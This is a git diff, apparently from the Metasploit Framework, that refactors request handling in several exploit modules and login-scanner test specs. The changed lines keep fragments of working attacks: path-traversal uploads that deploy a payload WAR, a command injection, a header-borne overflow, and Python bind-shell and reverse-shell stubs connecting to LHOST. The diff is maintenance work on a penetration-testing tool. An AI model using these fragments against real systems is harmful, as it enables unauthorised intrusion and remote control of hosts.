|
@ -80,9 +82,9 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
|
||||
print_status("Got sessionid of '#{id}'. Sending our second request to '#{page}'...")
|
||||
data = send_request_raw({
|
||||
'uri' => '/robohelp/robo/reserved/web/' + id + '/' + page ,
|
||||
'uri' => normalize_uri('robohelp', 'robo','reserved', 'web', id, page),
|
||||
'method' => 'GET',
|
||||
'version' => '1.0',
|
||||
'version' => '1.0'
|
||||
}, 5)
|
||||
|
||||
handler
|
||||
|
|
|
@ -46,10 +46,16 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
|
||||
def upload_file(filename, contents)
|
||||
res = send_request_cgi({
|
||||
'uri' => normalize_uri("agentLogUploader?computerName=DesktopCentral&domainName=webapps&customerId=..&filename=#{filename}"),
|
||||
'method' => 'POST',
|
||||
'data' => contents,
|
||||
'ctype' => "text/html"
|
||||
'uri' => normalize_uri('agentLogUploader'),
|
||||
'method' => 'POST',
|
||||
'data' => contents,
|
||||
'ctype' => 'text/html',
|
||||
'vars_get' => {
|
||||
'computerName' => 'DesktopCentral',
|
||||
'domainName' => 'webapps',
|
||||
'customerId' => '..',
|
||||
'filename' => filename
|
||||
}
|
||||
})
|
||||
|
||||
if res and res.code == 200 and res.body.to_s.empty?
|
||||
|
|
|
@ -83,9 +83,14 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
print_status("Trying target #{target.name}...")
|
||||
|
||||
send_request_cgi({
|
||||
'uri' => "/OvCgi/ovalarm.exe?OVABverbose=1",
|
||||
'uri' => '/OvCgi/ovalarm.exe',
|
||||
'method' => "GET",
|
||||
'headers' => { 'Accept-Language' => sploit }
|
||||
'headers' => {
|
||||
'Accept-Language' => sploit
|
||||
},
|
||||
'vars_get' => {
|
||||
'OVABverbose' => '1'
|
||||
}
|
||||
}, 3)
|
||||
|
||||
handler
|
||||
|
|
|
@ -74,8 +74,8 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
'method' => 'POST',
|
||||
}, 5)
|
||||
|
||||
if (res.headers['Set-Cookie'] and res.headers['Set-Cookie'].match(/PHPSESSID=(.*);(.*)/i))
|
||||
sessionid = res.headers['Set-Cookie'].split(';')[0]
|
||||
if res.get_cookies.match(/PHPSESSID=(.*);(.*)/i)
|
||||
sessionid = res.get_cookies
|
||||
|
||||
data = '?type=Job&jlist=0%26' + Rex::Text::uri_encode(cmd)
|
||||
|
||||
|
|
|
@ -187,8 +187,8 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
|
||||
# Pick up the cookie, example:
|
||||
# JSESSIONID=D90AC5C0BB43B5AC1396736214A1B5EB
|
||||
if res and res.headers['Set-Cookie'] =~ /JSESSIONID=(\w+);/
|
||||
cookie = "JSESSIONID=#{$1}"
|
||||
if res and res.get_cookies =~ /JSESSIONID=(\w+);/
|
||||
cookie = res.get_cookies
|
||||
else
|
||||
print_error("Unable to get a session ID")
|
||||
return
|
||||
|
|
|
@ -68,10 +68,13 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
|
||||
# Sending the request
|
||||
res = send_request_cgi({
|
||||
'uri' => normalize_uri(datastore['DIR'], '/Login.jsp?') + crash,
|
||||
'method' => 'GET',
|
||||
'headers' => {
|
||||
'Accept' => '*/*',
|
||||
'uri' => normalize_uri(datastore['DIR'], 'Login.jsp'),
|
||||
'method' => 'GET',
|
||||
'headers' => {
|
||||
'Accept' => '*/*',
|
||||
},
|
||||
'vars_get' => {
|
||||
crash => nil
|
||||
}
|
||||
}, 5)
|
||||
|
||||
|
|
|
@ -66,16 +66,17 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
|
||||
war_data = payload.encoded_war(:app_name => app_base, :jsp_name => jsp_name).to_s
|
||||
|
||||
res = send_request_cgi(
|
||||
{
|
||||
'uri' => "/zenworks/UploadServlet?filename=../../webapps/#{app_base}.war",
|
||||
'method' => 'POST',
|
||||
'data' => war_data,
|
||||
'headers' =>
|
||||
{
|
||||
'Content-Type' => 'application/octet-stream',
|
||||
}
|
||||
})
|
||||
res = send_request_cgi({
|
||||
'uri' => '/zenworks/UploadServlet',
|
||||
'method' => 'POST',
|
||||
'data' => war_data,
|
||||
'headers' => {
|
||||
'Content-Type' => 'application/octet-stream',
|
||||
},
|
||||
'vars_get' => {
|
||||
'filename' => "../../webapps/#{app_base}.war"
|
||||
}
|
||||
})
|
||||
|
||||
print_status("Uploading #{war_data.length} bytes as #{app_base}.war ...")
|
||||
|
||||
|
|
|
@ -32,7 +32,7 @@ module Metasploit3
|
|||
cmd = ''
|
||||
# Set up the socket
|
||||
cmd += "import socket,struct\n"
|
||||
cmd += "s=socket.socket(2,1)\n" # socket.AF_INET = 2, socket.SOCK_STREAM = 1
|
||||
cmd += "s=socket.socket(2,socket.SOCK_STREAM)\n" # socket.AF_INET = 2
|
||||
cmd += "s.bind(('#{ datastore['LHOST'] }',#{ datastore['LPORT'] }))\n"
|
||||
cmd += "s.listen(1)\n"
|
||||
cmd += "c,a=s.accept()\n"
|
||||
|
|
|
@ -32,7 +32,7 @@ module Metasploit3
|
|||
cmd = ''
|
||||
# Set up the socket
|
||||
cmd += "import socket,struct\n"
|
||||
cmd += "s=socket.socket(2,1)\n" # socket.AF_INET = 2, socket.SOCK_STREAM = 1
|
||||
cmd += "s=socket.socket(2,socket.SOCK_STREAM)\n" # socket.AF_INET = 2
|
||||
cmd += "s.connect(('#{ datastore['LHOST'] }',#{ datastore['LPORT'] }))\n"
|
||||
cmd += "l=struct.unpack('>I',s.recv(4))[0]\n"
|
||||
cmd += "d=s.recv(4096)\n"
|
||||
|
|
|
@ -0,0 +1,59 @@
|
|||
|
||||
require 'spec_helper'
|
||||
require 'metasploit/framework/login_scanner/afp'
|
||||
|
||||
describe Metasploit::Framework::LoginScanner::AFP do
|
||||
|
||||
subject(:scanner) { described_class.new }
|
||||
|
||||
it_behaves_like 'Metasploit::Framework::LoginScanner::Base'
|
||||
it_behaves_like 'Metasploit::Framework::LoginScanner::RexSocket'
|
||||
|
||||
it { should respond_to :login_timeout }
|
||||
|
||||
describe "#attempt_login" do
|
||||
let(:pub_blank) do
|
||||
Metasploit::Framework::LoginScanner::Credential.new(
|
||||
paired: true,
|
||||
public: "public",
|
||||
private: ''
|
||||
)
|
||||
end
|
||||
|
||||
it "Rex::ConnectionError should result in status :connection_error" do
|
||||
expect(scanner).to receive(:connect).and_raise(Rex::ConnectionError)
|
||||
result = scanner.attempt_login(pub_blank)
|
||||
|
||||
expect(result).to be_kind_of(Metasploit::Framework::LoginScanner::Result)
|
||||
expect(result.status).to eq(:connection_error)
|
||||
end
|
||||
|
||||
it "Timeout::Error should result in status :connection_error" do
|
||||
expect(scanner).to receive(:connect).and_raise(Timeout::Error)
|
||||
result = scanner.attempt_login(pub_blank)
|
||||
|
||||
expect(result).to be_kind_of(Metasploit::Framework::LoginScanner::Result)
|
||||
expect(result.status).to eq(:connection_error)
|
||||
end
|
||||
|
||||
it "EOFError should result in status :connection_error" do
|
||||
expect(scanner).to receive(:connect).and_raise(EOFError)
|
||||
result = scanner.attempt_login(pub_blank)
|
||||
|
||||
expect(result).to be_kind_of(Metasploit::Framework::LoginScanner::Result)
|
||||
expect(result.status).to eq(:connection_error)
|
||||
end
|
||||
|
||||
it "considers :skip_user to mean failure" do
|
||||
expect(scanner).to receive(:connect)
|
||||
expect(scanner).to receive(:login).and_return(:skip_user)
|
||||
result = scanner.attempt_login(pub_blank)
|
||||
|
||||
expect(result).to be_kind_of(Metasploit::Framework::LoginScanner::Result)
|
||||
expect(result.status).to eq(:failed)
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
|
|
@ -4,84 +4,8 @@ require 'metasploit/framework/login_scanner/http'
|
|||
|
||||
describe Metasploit::Framework::LoginScanner::HTTP do
|
||||
|
||||
subject(:http_scanner) { described_class.new }
|
||||
|
||||
it_behaves_like 'Metasploit::Framework::LoginScanner::Base'
|
||||
it_behaves_like 'Metasploit::Framework::LoginScanner::RexSocket'
|
||||
|
||||
it { should respond_to :uri }
|
||||
it { should respond_to :method }
|
||||
|
||||
context "#set_sane_defaults" do
|
||||
|
||||
context "without ssl, without port" do
|
||||
it "should default :port to #{described_class::DEFAULT_PORT}" do
|
||||
expect(http_scanner.ssl).to be_false
|
||||
expect(http_scanner.port).to eq(described_class::DEFAULT_PORT)
|
||||
end
|
||||
end
|
||||
|
||||
context "with ssl, without port" do
|
||||
subject(:http_scanner) { described_class.new(ssl:true) }
|
||||
it "should set :port to default ssl port (#{described_class::DEFAULT_SSL_PORT})" do
|
||||
expect(http_scanner.ssl).to be_true
|
||||
expect(http_scanner.port).to eq(described_class::DEFAULT_SSL_PORT)
|
||||
end
|
||||
end
|
||||
|
||||
context "without ssl, with default port" do
|
||||
subject(:http_scanner) { described_class.new(port:described_class::DEFAULT_PORT) }
|
||||
it "should set ssl to false" do
|
||||
expect(http_scanner.port).to eq(described_class::DEFAULT_PORT)
|
||||
expect(http_scanner.ssl).to be_false
|
||||
end
|
||||
end
|
||||
|
||||
context "without ssl, with default SSL port" do
|
||||
subject(:http_scanner) { described_class.new(port:described_class::DEFAULT_SSL_PORT) }
|
||||
it "should set ssl to true" do
|
||||
expect(http_scanner.ssl).to be_true
|
||||
expect(http_scanner.port).to eq(described_class::DEFAULT_SSL_PORT)
|
||||
end
|
||||
end
|
||||
|
||||
context "without ssl, with non-default port" do
|
||||
subject(:http_scanner) { described_class.new(port:0) }
|
||||
it "should not set ssl" do
|
||||
expect(http_scanner.ssl).to be_nil
|
||||
expect(http_scanner.port).to eq(0)
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
context "#attempt_login" do
|
||||
let(:pub_blank) {
|
||||
Metasploit::Framework::LoginScanner::Credential.new(
|
||||
paired: true,
|
||||
public: "public",
|
||||
private: ''
|
||||
)
|
||||
}
|
||||
|
||||
it "Rex::ConnectionError should result in status :connection_error" do
|
||||
allow_any_instance_of(Rex::Proto::Http::Client).to receive(:connect).and_raise(Rex::ConnectionError)
|
||||
|
||||
expect(http_scanner.attempt_login(pub_blank).status).to eq(:connection_error)
|
||||
end
|
||||
|
||||
it "Timeout::Error should result in status :connection_error" do
|
||||
allow_any_instance_of(Rex::Proto::Http::Client).to receive(:connect).and_raise(Timeout::Error)
|
||||
|
||||
expect(http_scanner.attempt_login(pub_blank).status).to eq(:connection_error)
|
||||
end
|
||||
|
||||
it "EOFError should result in status :connection_error" do
|
||||
allow_any_instance_of(Rex::Proto::Http::Client).to receive(:connect).and_raise(EOFError)
|
||||
|
||||
expect(http_scanner.attempt_login(pub_blank).status).to eq(:connection_error)
|
||||
end
|
||||
|
||||
end
|
||||
it_behaves_like 'Metasploit::Framework::LoginScanner::HTTP'
|
||||
|
||||
end
|
||||
|
|
|
@ -0,0 +1,11 @@
|
|||
|
||||
require 'spec_helper'
|
||||
require 'metasploit/framework/login_scanner/tomcat'
|
||||
|
||||
describe Metasploit::Framework::LoginScanner::Tomcat do
|
||||
|
||||
it_behaves_like 'Metasploit::Framework::LoginScanner::Base'
|
||||
it_behaves_like 'Metasploit::Framework::LoginScanner::RexSocket'
|
||||
it_behaves_like 'Metasploit::Framework::LoginScanner::HTTP'
|
||||
|
||||
end
|
|
@ -4,15 +4,13 @@ require 'metasploit/framework/login_scanner/winrm'
|
|||
|
||||
describe Metasploit::Framework::LoginScanner::WinRM do
|
||||
|
||||
subject(:winrm_scanner) { described_class.new }
|
||||
|
||||
it_behaves_like 'Metasploit::Framework::LoginScanner::Base'
|
||||
it_behaves_like 'Metasploit::Framework::LoginScanner::RexSocket'
|
||||
|
||||
it { should respond_to :uri }
|
||||
it { should respond_to :method }
|
||||
it_behaves_like 'Metasploit::Framework::LoginScanner::HTTP'
|
||||
|
||||
context "#method=" do
|
||||
subject(:winrm_scanner) { described_class.new }
|
||||
|
||||
it "should raise, warning that the :method can't be changed" do
|
||||
expect { winrm_scanner.method = "GET" }.to raise_error(RuntimeError)
|
||||
expect(winrm_scanner.method).to eq("POST")
|
||||
|
|
|
@ -190,6 +190,8 @@ describe Rex::Proto::Http::ClientRequest do
|
|||
'bar' => 'baz',
|
||||
'frobnicate' => 'the froozle?',
|
||||
'foshizzle' => 'my/nizzle',
|
||||
'asdf' => nil,
|
||||
'test' => ''
|
||||
}
|
||||
end
|
||||
|
||||
|
@ -217,6 +219,8 @@ describe Rex::Proto::Http::ClientRequest do
|
|||
str.should include("bar=baz")
|
||||
str.should include("frobnicate=the froozle?")
|
||||
str.should include("foshizzle=my/nizzle")
|
||||
str.should include("asdf&")
|
||||
str.should include("test=")
|
||||
end
|
||||
end
|
||||
|
||||
|
@ -229,6 +233,8 @@ describe Rex::Proto::Http::ClientRequest do
|
|||
str.should include("bar=baz")
|
||||
str.should include("frobnicate=the%20froozle%3f")
|
||||
str.should include("foshizzle=my/nizzle")
|
||||
str.should include("asdf&")
|
||||
str.should include("test=")
|
||||
end
|
||||
end
|
||||
|
||||
|
|
|
@ -0,0 +1,78 @@
|
|||
shared_examples_for 'Metasploit::Framework::LoginScanner::HTTP' do
|
||||
subject(:http_scanner) { described_class.new }
|
||||
|
||||
it { should respond_to :uri }
|
||||
it { should respond_to :method }
|
||||
|
||||
context "#set_sane_defaults" do
|
||||
|
||||
context "without ssl, without port" do
|
||||
it "should default :port to #{described_class::DEFAULT_PORT}" do
|
||||
expect(http_scanner.ssl).to be_false
|
||||
expect(http_scanner.port).to eq(described_class::DEFAULT_PORT)
|
||||
end
|
||||
end
|
||||
|
||||
context "with ssl, without port" do
|
||||
subject(:http_scanner) { described_class.new(ssl:true) }
|
||||
it "should set :port to default ssl port (#{described_class::DEFAULT_SSL_PORT})" do
|
||||
expect(http_scanner.ssl).to be_true
|
||||
expect(http_scanner.port).to eq(described_class::DEFAULT_SSL_PORT)
|
||||
end
|
||||
end
|
||||
|
||||
context "without ssl, with default port" do
|
||||
subject(:http_scanner) { described_class.new(port:described_class::DEFAULT_PORT) }
|
||||
it "should set ssl to false" do
|
||||
expect(http_scanner.port).to eq(described_class::DEFAULT_PORT)
|
||||
expect(http_scanner.ssl).to be_false
|
||||
end
|
||||
end
|
||||
|
||||
context "without ssl, with default SSL port" do
|
||||
subject(:http_scanner) { described_class.new(port:described_class::DEFAULT_SSL_PORT) }
|
||||
it "should set ssl to true" do
|
||||
expect(http_scanner.ssl).to be_true
|
||||
expect(http_scanner.port).to eq(described_class::DEFAULT_SSL_PORT)
|
||||
end
|
||||
end
|
||||
|
||||
context "without ssl, with non-default port" do
|
||||
subject(:http_scanner) { described_class.new(port:0) }
|
||||
it "should not set ssl" do
|
||||
expect(http_scanner.ssl).to be_nil
|
||||
expect(http_scanner.port).to eq(0)
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
context "#attempt_login" do
|
||||
let(:pub_blank) {
|
||||
Metasploit::Framework::LoginScanner::Credential.new(
|
||||
paired: true,
|
||||
public: "public",
|
||||
private: ''
|
||||
)
|
||||
}
|
||||
|
||||
it "Rex::ConnectionError should result in status :connection_error" do
|
||||
allow_any_instance_of(Rex::Proto::Http::Client).to receive(:connect).and_raise(Rex::ConnectionError)
|
||||
|
||||
expect(http_scanner.attempt_login(pub_blank).status).to eq(:connection_error)
|
||||
end
|
||||
|
||||
it "Timeout::Error should result in status :connection_error" do
|
||||
allow_any_instance_of(Rex::Proto::Http::Client).to receive(:connect).and_raise(Timeout::Error)
|
||||
|
||||
expect(http_scanner.attempt_login(pub_blank).status).to eq(:connection_error)
|
||||
end
|
||||
|
||||
it "EOFError should result in status :connection_error" do
|
||||
allow_any_instance_of(Rex::Proto::Http::Client).to receive(:connect).and_raise(EOFError)
|
||||
|
||||
expect(http_scanner.attempt_login(pub_blank).status).to eq(:connection_error)
|
||||
end
|
||||
|
||||
end
|
||||
end
|
Loading…
Reference in New Issue